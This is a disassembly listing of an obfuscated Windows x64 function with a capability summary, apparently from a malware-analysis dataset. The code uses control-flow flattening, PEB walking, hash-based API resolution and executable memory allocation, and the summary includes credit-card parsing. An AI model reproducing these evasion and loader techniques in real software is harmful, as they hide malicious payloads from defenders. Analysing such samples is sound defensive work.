Function at 0x1400e4a51
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Encrypt data using speck
Hash data using fnv
Hash data using murmur3
Manually build aes constants
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0x6339253
pushf
not eax
add eax, 0xb2192120
xor eax, 0xa070051b
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xf9b5cab1
xor eax, 0xabf0150a
rol eax, 0xf
popf
pushf
not eax
add eax, 0xc53b9c9e
xor eax, 0x97d90623
rol eax, 0x6c
popf
cmp eax, 0x63
jne 0x1400e4aa1
popf
pop rax
jmp 0x1400e7a83
cmp eax, 0x48
jne 0x1400e4ab0
popf
pop rax
jmp 0x1400e6ec3
cmp eax, 0x3f
jne 0x1400e4abf
popf
pop rax
jmp 0x1400e6ac8
cmp eax, 1
jne 0x1400e4ace
popf
pop rax
jmp 0x1400e51b8
cmp eax, 0x4a
jne 0x1400e4add
popf
pop rax
jmp 0x1400e6f97
cmp eax, 0x1a
jne 0x1400e4aec
popf
pop rax
jmp 0x1400e5ab2
cmp eax, 0x5d
jne 0x1400e4afb
popf
pop rax
jmp 0x1400e7787
cmp eax, 0x58
jne 0x1400e4b0a
popf
pop rax
jmp 0x1400e75ca
cmp eax, 0x40
jne 0x1400e4b19
popf
pop rax
jmp 0x1400e6b5f
cmp eax, 8
jne 0x1400e4b28
popf
pop rax
jmp 0x1400e53f1
cmp eax, 0x2a
jne 0x1400e4b37
popf
pop rax
jmp 0x1400e60a4
cmp eax, 0x6d
jne 0x1400e4b46
popf
pop rax
jmp 0x1400e7fd7
cmp eax, 0x1c
jne 0x1400e4b55
popf
pop rax
jmp 0x1400e5ba4
cmp eax, 0x2e
jne 0x1400e4b64
popf
pop rax
jmp 0x1400e61f4
cmp eax, 0x4c
jne 0x1400e4b73
popf
pop rax
jmp 0x1400e702e
cmp eax, 0x2b
jne 0x1400e4b82
popf
pop rax
jmp 0x1400e6126
cmp eax, 0x1b
jne 0x1400e4b91
popf
pop rax
jmp 0x1400e5aea
cmp eax, 0x6a
jne 0x1400e4ba0
popf
pop rax
jmp 0x1400e7df1
cmp eax, 0x23
jne 0x1400e4baf
popf
pop rax
jmp 0x1400e5df4
cmp eax, 0x5b
jne 0x1400e4bbe
popf
pop rax
jmp 0x1400e76ad
cmp eax, 0x43
jne 0x1400e4bcd
popf
pop rax
jmp 0x1400e6ca8
cmp eax, 0x13
jne 0x1400e4bdc
popf
pop rax
jmp 0x1400e5828
cmp eax, 0x33
jne 0x1400e4beb
popf
pop rax
jmp 0x1400e64d1
cmp eax, 0x24
jne 0x1400e4bfa
popf
pop rax
jmp 0x1400e5e9c
cmp eax, 0x1e
jne 0x1400e4c09
popf
pop rax
jmp 0x1400e5c40
cmp eax, 0xc
jne 0x1400e4c18
popf
pop rax
jmp 0x1400e556e
cmp eax, 0x26
jne 0x1400e4c27
popf
pop rax
jmp 0x1400e5f47
cmp eax, 0x27
jne 0x1400e4c36
popf
pop rax
jmp 0x1400e5f86
cmp eax, 0x30
jne 0x1400e4c45
popf
pop rax
jmp 0x1400e62e8
cmp eax, 0x10
jne 0x1400e4c54
popf
pop rax
jmp 0x1400e571c
cmp eax, 0x37
jne 0x1400e4c63
popf
pop rax
jmp 0x1400e679e
cmp eax, 9
jne 0x1400e4c72
popf
pop rax
jmp 0x1400e543d
cmp eax, 0x39
jne 0x1400e4c81
popf
pop rax
jmp 0x1400e6894
cmp eax, 0x16
jne 0x1400e4c90
popf
pop rax
jmp 0x1400e58ff
cmp eax, 0x3b
jne 0x1400e4c9f
popf
pop rax
jmp 0x1400e6937
cmp eax, 0x4b
jne 0x1400e4cae
popf
pop rax
jmp 0x1400e6fec
cmp eax, 0x36
jne 0x1400e4cbd
popf
pop rax
jmp 0x1400e6757
cmp eax, 0x14
jne 0x1400e4ccc
popf
pop rax
jmp 0x1400e584e
cmp eax, 0x60
jne 0x1400e4cdb
popf
pop rax
jmp 0x1400e78d4
cmp eax, 0x3d
jne 0x1400e4cea
popf
pop rax
jmp 0x1400e6a1e
cmp eax, 0x69
jne 0x1400e4cf9
popf
pop rax
jmp 0x1400e7cf3
cmp eax, 0x47
jne 0x1400e4d08
popf
pop rax
jmp 0x1400e6e95
cmp eax, 0x51
jne 0x1400e4d17
popf
pop rax
jmp 0x1400e72c0
cmp eax, 0x11
jne 0x1400e4d26
popf
pop rax
jmp 0x1400e5744
cmp eax, 0x35
jne 0x1400e4d35
popf
pop rax
jmp 0x1400e6600
cmp eax, 0x68
jne 0x1400e4d44
popf
pop rax
jmp 0x1400e7c9e
cmp eax, 0x12
jne 0x1400e4d53
popf
pop rax
jmp 0x1400e57f6
cmp eax, 0x6b
jne 0x1400e4d62
popf
pop rax
jmp 0x1400e7e73
cmp eax, 0x38
jne 0x1400e4d71
popf
pop rax
jmp 0x1400e67f8
cmp eax, 0x64
jne 0x1400e4d80
popf
pop rax
jmp 0x1400e7b08
cmp eax, 0x5c
jne 0x1400e4d8f
popf
pop rax
jmp 0x1400e7742
cmp eax, 0x15
jne 0x1400e4d9e
popf
pop rax
jmp 0x1400e588d
cmp eax, 5
jne 0x1400e4dad
popf
pop rax
jmp 0x1400e532e
cmp eax, 6
jne 0x1400e4dbc
popf
pop rax
jmp 0x1400e535d
cmp eax, 0x5a
jne 0x1400e4dcb
popf
pop rax
jmp 0x1400e765f
cmp eax, 0x49
jne 0x1400e4dda
popf
pop rax
jmp 0x1400e6efe
cmp eax, 0x1f
jne 0x1400e4de9
popf
pop rax
jmp 0x1400e5c61
cmp eax, 4
jne 0x1400e4df8
popf
pop rax
jmp 0x1400e525c
cmp eax, 0x2f
jne 0x1400e4e07
popf
pop rax
jmp 0x1400e629c
cmp eax, 0x4d
jne 0x1400e4e16
popf
pop rax
jmp 0x1400e70b2
cmp eax, 0x55
jne 0x1400e4e25
popf
pop rax
jmp 0x1400e74bb
cmp eax, 0x45
jne 0x1400e4e34
popf
pop rax
jmp 0x1400e6d9a
cmp eax, 0x2c
jne 0x1400e4e43
popf
pop rax
jmp 0x1400e6185
cmp eax, 0x5f
jne 0x1400e4e52
popf
pop rax
jmp 0x1400e784b
cmp eax, 0x19
jne 0x1400e4e61
popf
pop rax
jmp 0x1400e5a1a
cmp eax, 0x1d
jne 0x1400e4e70
popf
pop rax
jmp 0x1400e5c05
cmp eax, 0x61
jne 0x1400e4e7f
popf
pop rax
jmp 0x1400e795a
cmp eax, 0x53
jne 0x1400e4e8e
popf
pop rax
jmp 0x1400e7390
cmp eax, 0x4f
jne 0x1400e4e9d
popf
pop rax
jmp 0x1400e7193
cmp eax, 0x6c
jne 0x1400e4eac
popf
pop rax
jmp 0x1400e7ec2
cmp eax, 7
jne 0x1400e4ebb
popf
pop rax
jmp 0x1400e53b2
cmp eax, 0x20
jne 0x1400e4eca
popf
pop rax
jmp 0x1400e5d37
cmp eax, 0x56
jne 0x1400e4ed9
popf
pop rax
jmp 0x1400e74f6
cmp eax, 0x3c
jne 0x1400e4ee8
popf
pop rax
jmp 0x1400e695f
cmp eax, 0xd
jne 0x1400e4ef7
popf
pop rax
jmp 0x1400e55e0
cmp eax, 0xa
jne 0x1400e4f06
popf
pop rax
jmp 0x1400e5499
cmp eax, 0x18
jne 0x1400e4f15
popf
pop rax
jmp 0x1400e59b0
cmp eax, 0x28
jne 0x1400e4f24
popf
pop rax
jmp 0x1400e5fd6
cmp eax, 0x22
jne 0x1400e4f33
popf
pop rax
jmp 0x1400e5dcc
cmp eax, 0x50
jne 0x1400e4f42
popf
pop rax
jmp 0x1400e7221
cmp eax, 0x52
jne 0x1400e4f51
popf
pop rax
jmp 0x1400e7358
cmp eax, 0x41
jne 0x1400e4f60
popf
pop rax
jmp 0x1400e6bbe
cmp eax, 0x67
jne 0x1400e4f6f
popf
pop rax
jmp 0x1400e7c00
cmp eax, 0x32
jne 0x1400e4f7e
popf
pop rax
jmp 0x1400e645f
cmp eax, 0x29
jne 0x1400e4f8d
popf
pop rax
jmp 0x1400e6023
cmp eax, 0x3e
jne 0x1400e4f9c
popf
pop rax
jmp 0x1400e6a73
cmp eax, 0
jne 0x1400e4fab
popf
pop rax
jmp 0x1400e5104
cmp eax, 0x4e
jne 0x1400e4fba
popf
pop rax
jmp 0x1400e7111
cmp eax, 0x31
jne 0x1400e4fc9
popf
pop rax
jmp 0x1400e63c2
cmp eax, 0x62
jne 0x1400e4fd8
popf
pop rax
jmp 0x1400e7a01
cmp eax, 0x5e
jne 0x1400e4fe7
popf
pop rax
jmp 0x1400e77b4
cmp eax, 0x25
jne 0x1400e4ff6
popf
pop rax
jmp 0x1400e5ef4
cmp eax, 0xf
jne 0x1400e5005
popf
pop rax
jmp 0x1400e56db
cmp eax, 0x44
jne 0x1400e5014
popf
pop rax
jmp 0x1400e6d02
cmp eax, 0x57
jne 0x1400e5023
popf
pop rax
jmp 0x1400e751a
cmp eax, 3
jne 0x1400e5032
popf
pop rax
jmp 0x1400e5234
cmp eax, 0x46
jne 0x1400e5041
popf
pop rax
jmp 0x1400e6de5
cmp eax, 0x34
jne 0x1400e5050
popf
pop rax
jmp 0x1400e6513
cmp eax, 0x54
jne 0x1400e505f
popf
pop rax
jmp 0x1400e7447
cmp eax, 0x59
jne 0x1400e506e
popf
pop rax
jmp 0x1400e7618
cmp eax, 0xb
jne 0x1400e507d
popf
pop rax
jmp 0x1400e5514
cmp eax, 0x66
jne 0x1400e508c
popf
pop rax
jmp 0x1400e7b76
cmp eax, 0x2d
jne 0x1400e509b
popf
pop rax
jmp 0x1400e61aa
cmp eax, 0xe
jne 0x1400e50aa
popf
pop rax
jmp 0x1400e5618
cmp eax, 0x3a
jne 0x1400e50b9
popf
pop rax
jmp 0x1400e6914
cmp eax, 2
jne 0x1400e50c8
popf
pop rax
jmp 0x1400e520f
cmp eax, 0x65
jne 0x1400e50d7
popf
pop rax
jmp 0x1400e7b40
cmp eax, 0x21
jne 0x1400e50e6
popf
pop rax
jmp 0x1400e5d85
cmp eax, 0x42
jne 0x1400e50f5
popf
pop rax
jmp 0x1400e6c2d
cmp eax, 0x17
jne 0x1400e5104
popf
pop rax
jmp 0x1400e5981
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x118
mov rsi, rdx
mov rdi, rcx
lea rax, [0x18b7ce22c]
pushf
sub rax, 0x4b78aa35
popf
mov qword [rsp + 0xe0], rax
mov rbx, qword gs:[0x30]
mov rcx, qword [rbx + 0x120]
mov rax, rcx
test rcx, rcx
jne 0x1400e5185
push rax
pushf
mov eax, 0xc56d9693
pushf
not eax
add eax, 0xf801d892
xor eax, 0xb09df85b
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xc32aad03
xor eax, 0xb9710781
rol eax, 0x40
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0xb2e901a3
pushf
not eax
add eax, 0xeb509a9a
xor eax, 0xb02b7770
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xc8ae464a
xor eax, 0xb8f4673c
rol eax, 0x6d
popf
jmp 0x1400e4a92
mov dword [rsp + 0x54], 4
mov dword [rsp + 0x50], 0x3000
mov dword [rsp + 0x4c], 0x100000
mov qword [rsp + 0xd8], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x1400e525c
nop dword [rax + rax]
push rax
pushf
mov eax, 0xd80e22c
pushf
not eax
add eax, 0x92611720
xor eax, 0x84e1b4f3
rol eax, 0xf1
popf
jmp 0x1400e4a92
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
push rax
pushf
mov eax, 0xf3f8b260
pushf
not eax
add eax, 0xd8c5c6b8
xor eax, 0xe4cd1447
rol eax, 0xbe
popf
jmp 0x1400e4a92
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x60], rax
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rax + rcx + 0x88]
mov ecx, dword [rax + rcx + 0x8c]
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
mov qword [rsp + 0x68], rdx
mov dword [rsp + 0x58], ecx
mov rax, qword [rsp + 0x68]
cmp rax, qword [rsp + 0x60]
je 0x1400e52e8
push rax
pushf
mov eax, 0xb87f8b4b
pushf
not eax
add eax, 0xc8d03aac
xor eax, 0xe6f33ad5
rol eax, 0xe
popf
pushf
not eax
add eax, 0x83fd8402
xor eax, 0x99ca4cff
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xe78d2912
xor eax, 0xacbad3f5
rol eax, 0x7e
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x108876eb
pushf
not eax
add eax, 0x930d4af6
xor eax, 0xc2fcbbc7
rol eax, 0x7c
popf
pushf
not eax
add eax, 0x9fbdac23
xor eax, 0xc9b5ba2f
rol eax, 0xe0
popf
pushf
not eax
add eax, 0x9b637925
xor eax, 0x995fd61b
rol eax, 0xd6
popf
jmp 0x1400e4a92
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x18]
mov ecx, eax
jmp 0x1400e543d
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0xf6b5f21
pushf
not eax
add eax, 0xcc4c87fb
xor eax, 0xa315fcc6
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x99a7ba9c
xor eax, 0xb9029b08
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xf9bd13ad
xor eax, 0xa4789a23
rol eax, 0x21
popf
jmp 0x1400e4a92
mov r8d, 0x54602e6b
pushf
not r8d
add r8d, 0x9be1d5ff
xor r8d, 0xfb62145c
rol r8d, 0x26
popf
push rax
pushf
mov eax, 0x607d476c
pushf
not eax
add eax, 0xf46f559d
xor eax, 0x93f20e34
rol eax, 0x61
popf
jmp 0x1400e4a92
mov rcx, rax
cmp r8d, 0x875a5e8b
je 0x1400e541d
push rax
pushf
mov eax, 0x38088201
pushf
not eax
add eax, 0xd902ca2c
xor eax, 0xa9fa482a
rol eax, 0xe8
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x486941f2
pushf
not eax
add eax, 0xfcd1b47c
xor eax, 0xb4687349
rol eax, 0x1b
popf
jmp 0x1400e4a92
mov rax, rcx
sub rax, 1
jb 0x1400e5466
push rax
pushf
mov eax, 0xcd5e925a
pushf
not eax
add eax, 0xea311701
xor eax, 0x9cd284a4
rol eax, 0x22
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x7f6ba0a6
pushf
not eax
add eax, 0xd0676627
xor eax, 0xd184f61c
rol eax, 0xe
popf
pushf
not eax
add eax, 0xc1c9b303
xor eax, 0xf56292a3
rol eax, 0x49
popf
jmp 0x1400e4a92
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov edx, dword [rdx + 0x20]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov edx, dword [rdx + rax*4]
mov r8d, edx
movzx edx, byte [rcx + r8]
test dl, dl
je 0x1400e54e1
push rax
pushf
mov eax, 0xb8fb3abe
pushf
not eax
add eax, 0xa56dc8c8
xor eax, 0xecc28e09
rol eax, 0xcc
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x82537682
pushf
not eax
add eax, 0xd680f9f5
xor eax, 0xa1d26310
rol eax, 0x80
popf
pushf
not eax
add eax, 0xc762204e
xor eax, 0xd1623f0b
rol eax, 0x9b
popf
jmp 0x1400e4a92
push r8
not r8
sub rcx, r8
pop r8
sub rcx, 1
inc rcx
mov r9d, 0x281c1d7f
pushf
not r9d
add r9d, 0xf53eef8a
xor r9d, 0xf1d91c31
rol r9d, 0xf2
popf
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0xfd0590ad
pushf
not eax
add eax, 0x98fdc00c
xor eax, 0x9b982f5e
rol eax, 0x8d
popf
jmp 0x1400e4a92
movsx edx, dl
xor edx, r9d
imul r9d, edx, 0x1000193
movzx r10d, byte [rcx]
inc rcx
mov edx, r10d
mov r8d, r9d
test r10b, r10b
jne 0x1400e55ad
push rax
pushf
mov eax, 0x1cd8f26d
pushf
not eax
add eax, 0xd9787d1a
xor eax, 0xbc9f87ac
rol eax, 0x78
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0xb82ab8a3
pushf
not eax
add eax, 0xe9c2a13a
xor eax, 0xe04a56b2
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xb946d698
xor eax, 0xe7591873
rol eax, 0x4e
popf
jmp 0x1400e4a92
jmp 0x1400e53f1
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov r8d, dword [rdx + 0x1c]
push rcx
not rcx
sub r8, rcx
pop rcx
sub r8, 1
mov edx, dword [rdx + 0x24]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
movzx eax, word [rdx + rax*2]
mov eax, dword [r8 + rax*4]
push rcx
not rcx
sub rax, rcx
pop rcx
sub rax, 1
mov r9d, dword [rsp + 0x54]
mov r8d, dword [rsp + 0x50]
movsxd rdx, dword [rsp + 0x4c]
mov rcx, qword [rsp + 0xd8]
jmp 0x1400e566d
call rax
mov qword [rbx + 0x120], rax
mov qword [rsp + 0xd0], 0x30
lea rax, [rsp + 0xe8]
mov qword [rsp + 0xc8], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x1400e5744
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0xd5582ec9
pushf
not eax
add eax, 0xe5e10ada
xor eax, 0x82a3b7c1
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xdbb78751
xor eax, 0xb7e0afad
rol eax, 0x6d
popf
jmp 0x1400e4a92
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
push rax
pushf
mov eax, 0xc8f9a6ca
pushf
not eax
add eax, 0xa7ef864e
xor eax, 0xdef5ce83
rol eax, 0x18
popf
jmp 0x1400e4a92
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x78], rax
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rax + rcx + 0x88]
mov ecx, dword [rax + rcx + 0x8c]
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
mov qword [rsp + 0x80], rdx
mov dword [rsp + 0x70], ecx
mov rax, qword [rsp + 0x80]
cmp rax, qword [rsp + 0x78]
je 0x1400e57b0
push rax
pushf
mov eax, 0xdceebc01
pushf
not eax
add eax, 0x8d770153
xor eax, 0xb0886151
rol eax, 0xb7
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0xbd089d2d
pushf
not eax
add eax, 0x85464325
xor eax, 0xca4e815c
rol eax, 0x9e
popf
pushf
not eax
add eax, 0x9d834473
xor eax, 0xb20ccd8b
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x87349dbb
xor eax, 0xab7df00a
rol eax, 0x12
popf
jmp 0x1400e4a92
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 0x18]
mov ecx, eax
jmp 0x1400e58ff
nop word [rax + rax]
push rax
pushf
mov eax, 0xed279c62
pushf
not eax
add eax, 0xd36a997a
xor eax, 0xe66afd17
rol eax, 0x6f
popf
jmp 0x1400e4a92
mov r8d, 0x5b3e09fa
pushf
not r8d
add r8d, 0xb01dc18a
xor r8d, 0xb4f302b4
rol r8d, 0x78
popf
push rax
pushf
mov eax, 0xe92deb8
pushf
not eax
add eax, 0x9a8cf09f
xor eax, 0x8bef11e6
rol eax, 0x90
popf
jmp 0x1400e4a92
mov rcx, rax
cmp r8d, 0xb69294a8
je 0x1400e58cc
push rax
pushf
mov eax, 0xe516bdee
pushf
not eax
add eax, 0xb0e0294b
xor eax, 0xf741fa93
rol eax, 0x77
popf
pushf
not eax
add eax, 0xb46d33aa
xor eax, 0xc7ceef61
rol eax, 0x29
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x308ee92d
pushf
not eax
add eax, 0xe6c79554
xor eax, 0xd7031b82
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xf56f1bdf
xor eax, 0xacaca403
rol eax, 0x1e
popf
jmp 0x1400e4a92
mov rax, rcx
sub rax, 1
jb 0x1400e594e
push rax
pushf
mov eax, 0xd3c3fe10
pushf
not eax
add eax, 0xe2d406a7
xor eax, 0x8f9bece9
rol eax, 0x6d
popf
pushf
not eax
add eax, 0x90b83b27
xor eax, 0xa1dd1d53
rol eax, 0xad
popf
pushf
not eax
add eax, 0x92cf3b0f
xor eax, 0xe8be6450
rol eax, 0xed
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x521d0cb3
pushf
not eax
add eax, 0xf6e776e8
xor eax, 0xf2a0f5ac
rol eax, 0x35
popf
pushf
not eax
add eax, 0xea92523b
xor eax, 0xf58784e7
rol eax, 0xeb
popf
jmp 0x1400e4a92
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
mov edx, dword [rdx + 0x20]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov edx, dword [rdx + rax*4]
mov r8d, edx
movzx edx, byte [rcx + r8]
test dl, dl
je 0x1400e584e
push r8
not r8
sub rcx, r8
pop r8
sub rcx, 1
inc rcx
mov r9d, 0xb2c4a629
pushf
not r9d
add r9d, 0x9603fe1d
xor r9d, 0xb9a2a7e5
rol r9d, 0x69
popf
nop dword [rax]
push rax
pushf
mov eax, 0x43b2a82e
pushf
not eax
add eax, 0xf9cfa4ee
xor eax, 0xf9d7932c
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xed35ea87
xor eax, 0x91bf1008
rol eax, 0x92
popf
jmp 0x1400e4a92
movsx edx, dl
xor edx, r9d
imul r9d, edx, 0x1000193
movzx r10d, byte [rcx]
inc rcx
mov edx, r10d
mov r8d, r9d
test r10b, r10b
jne 0x1400e5a6c
push rax
pushf
mov eax, 0xd0771b73
pushf
not eax
add eax, 0xee964fdc
xor eax, 0xcdc1875a
rol eax, 0xc
popf
pushf
not eax
add eax, 0xc7aee943
xor eax, 0xdcabbc05
rol eax, 0x8d
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x7f1c2682
pushf
not eax
add eax, 0xcfce7f41
xor eax, 0xf2893a64
rol eax, 0x39
popf
pushf
not eax
add eax, 0xea55e9ba
xor eax, 0x8be32601
rol eax, 0x78
popf
pushf
not eax
add eax, 0x8937eb65
xor eax, 0x934af910
rol eax, 0x4f
popf
jmp 0x1400e4a92
jmp 0x1400e588d
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
mov r8d, dword [rdx + 0x1c]
push rcx
not rcx
sub r8, rcx
pop rcx
sub r8, 1
mov edx, dword [rdx + 0x24]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
movzx eax, word [rdx + rax*2]
mov eax, dword [r8 + rax*4]
push rcx
not rcx
sub rax, rcx
pop rcx
sub rax, 1
mov r8, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xe0]
jmp 0x1400e5b43
call rax
mov rax, qword [rsp + 0xf0]
mov rcx, qword [rbx + 0x120]
mov qword [rcx], rax
mov rax, qword [rbx + 0x120]
push rax
pushf
mov eax, 0xdf773b2c
pushf
not eax
add eax, 0x98fa9325
xor eax, 0x9cb96b39
rol eax, 3
popf
pushf
not eax
add eax, 0x9f584bfa
xor eax, 0xc876b353
rol eax, 0xba
popf
pushf
not eax
add eax, 0x87c81a0a
xor eax, 0xf8cc56af
rol eax, 0x10
popf
jmp 0x1400e4a92
mov rbx, rax
cmp qword [rax + 8], 0
jne 0x1400e5be5
push rax
pushf
mov eax, 0xaec1bd4c
pushf
not eax
add eax, 0x925eb9f6
xor eax, 0xb8ac580b
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xcd434695
xor eax, 0xba69fb6f
rol eax, 0xf7
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x9d6017dc
pushf
not eax
add eax, 0x89ab8aed
xor eax, 0xec4b6410
rol eax, 0xb9
popf
jmp 0x1400e4a92
mov qword [rsp + 0xc0], 0x18018
mov r14, 0xfffffffffffe7fe7
add r14, qword [rbx]
jmp 0x1400e5d37
nop
push rax
pushf
mov eax, 0x6b715ee8
pushf
not eax
add eax, 0xf2feb597
xor eax, 0x87b356ae
rol eax, 0x6f
popf
jmp 0x1400e4a92
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
mov r8d, dword [rdx + 0x1c]
push rcx
not rcx
sub r8, rcx
pop rcx
sub r8, 1
mov edx, dword [rdx + 0x24]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
movzx eax, word [rdx + rax*2]
mov eax, dword [r8 + rax*4]
push rcx
not rcx
sub rax, rcx
pop rcx
sub rax, 1
mov r9d, dword [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xb8]
jmp 0x1400e5cbf
call rax
add r14, 0xfffffffffffe7fe8
test rax, rax
jne 0x1400e5d17
push rax
pushf
mov eax, 0xd35106e6
pushf
not eax
add eax, 0xea384244
xor eax, 0xd1eafb82
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xaf2e7b54
xor eax, 0xc2f594ed
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xf0801d44
xor eax, 0xc63e5422
rol eax, 0x9a
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x36bd826f
pushf
not eax
add eax, 0xc9aae34e
xor eax, 0x92ed60f3
rol eax, 0x60
popf
jmp 0x1400e4a92
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x44], 0x3000
mov qword [rsp + 0xb8], r14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x1400e5df4
nop
push rax
pushf
mov eax, 0xd5d26615
pushf
not eax
add eax, 0xb7b37a23
xor eax, 0xe5ff8c56
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xd7889052
xor eax, 0xeec1dd2d
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xfc118f4a
xor eax, 0xac65c01b
rol eax, 0x49
popf
jmp 0x1400e4a92
mov rax, qword [rsp + 0x38]
mov rax, qword [rax]
push rax
pushf
mov eax, 0x182fb057
pushf
not eax
add eax, 0xb51ba113
xor eax, 0x9cebd3bb
rol eax, 0x78
popf
jmp 0x1400e4a92
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x90], rax
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rax + rcx + 0x88]
mov ecx, dword [rax + rcx + 0x8c]
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
mov qword [rsp + 0x98], rdx
mov dword [rsp + 0x88], ecx
mov rax, qword [rsp + 0x98]
cmp rax, qword [rsp + 0x90]
je 0x1400e5e69
push rax
pushf
mov eax, 0x705b5139
pushf
not eax
add eax, 0xf9ebe9eb
xor eax, 0x8991b8b1
rol eax, 0xb5
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0xcaaeb6cb
pushf
not eax
add eax, 0xab059e71
xor eax, 0xb93d363a
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xd23da6c9
xor eax, 0xa3102c95
rol eax, 0x47
popf
jmp 0x1400e4a92
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 0x18]
mov ecx, eax
jmp 0x1400e5fd6
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0x9994054f
pushf
not eax
add eax, 0xa1cdf167
xor eax, 0x8ad9d845
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xb486ce08
xor eax, 0xbc13b982
rol eax, 0xee
popf
pushf
not eax
add eax, 0xcb6caea4
xor eax, 0xbf8d5fff
rol eax, 0xae
popf
jmp 0x1400e4a92
mov r8d, 0x7b76c30d
pushf
not r8d
add r8d, 0xa9e23fb9
xor r8d, 0xced051a1
rol r8d, 0x26
popf
push rax
pushf
mov eax, 0x2f3966c9
pushf
not eax
add eax, 0xb88694a5
xor eax, 0x894d0adb
rol eax, 0xd8
popf
jmp 0x1400e4a92
mov rcx, rax
cmp r8d, 0x3164d458
je 0x1400e5fb6
push rax
pushf
mov eax, 0x2b60783c
pushf
not eax
add eax, 0xb44a2508
xor eax, 0x88b9accb
rol eax, 0x4f
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x3d017736
pushf
not eax
add eax, 0xb778c6cc
xor eax, 0x82774f95
rol eax, 0xa5
popf
jmp 0x1400e4a92
mov rax, rcx
sub rax, 1
jb 0x1400e6003
push rax
pushf
mov eax, 0x369aa262
pushf
not eax
add eax, 0xffde512d
xor eax, 0xc9413eca
rol eax, 0x74
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x26ba1a26
pushf
not eax
add eax, 0xb9084fc1
xor eax, 0x960e359a
rol eax, 0xeb
popf
jmp 0x1400e4a92
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
mov edx, dword [rdx + 0x20]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov edx, dword [rdx + rax*4]
mov r8d, edx
movzx edx, byte [rcx + r8]
test dl, dl
je 0x1400e6084
push rax
pushf
mov eax, 0x5bf76fa0
pushf
not eax
add eax, 0xe195c96b
xor eax, 0xfeec1006
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xdc3647eb
xor eax, 0x9e572304
rol eax, 0x30
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x1a14a08e
pushf
not eax
add eax, 0xa53bc63e
xor eax, 0x8fe725af
rol eax, 0xcb
popf
jmp 0x1400e4a92
push r8
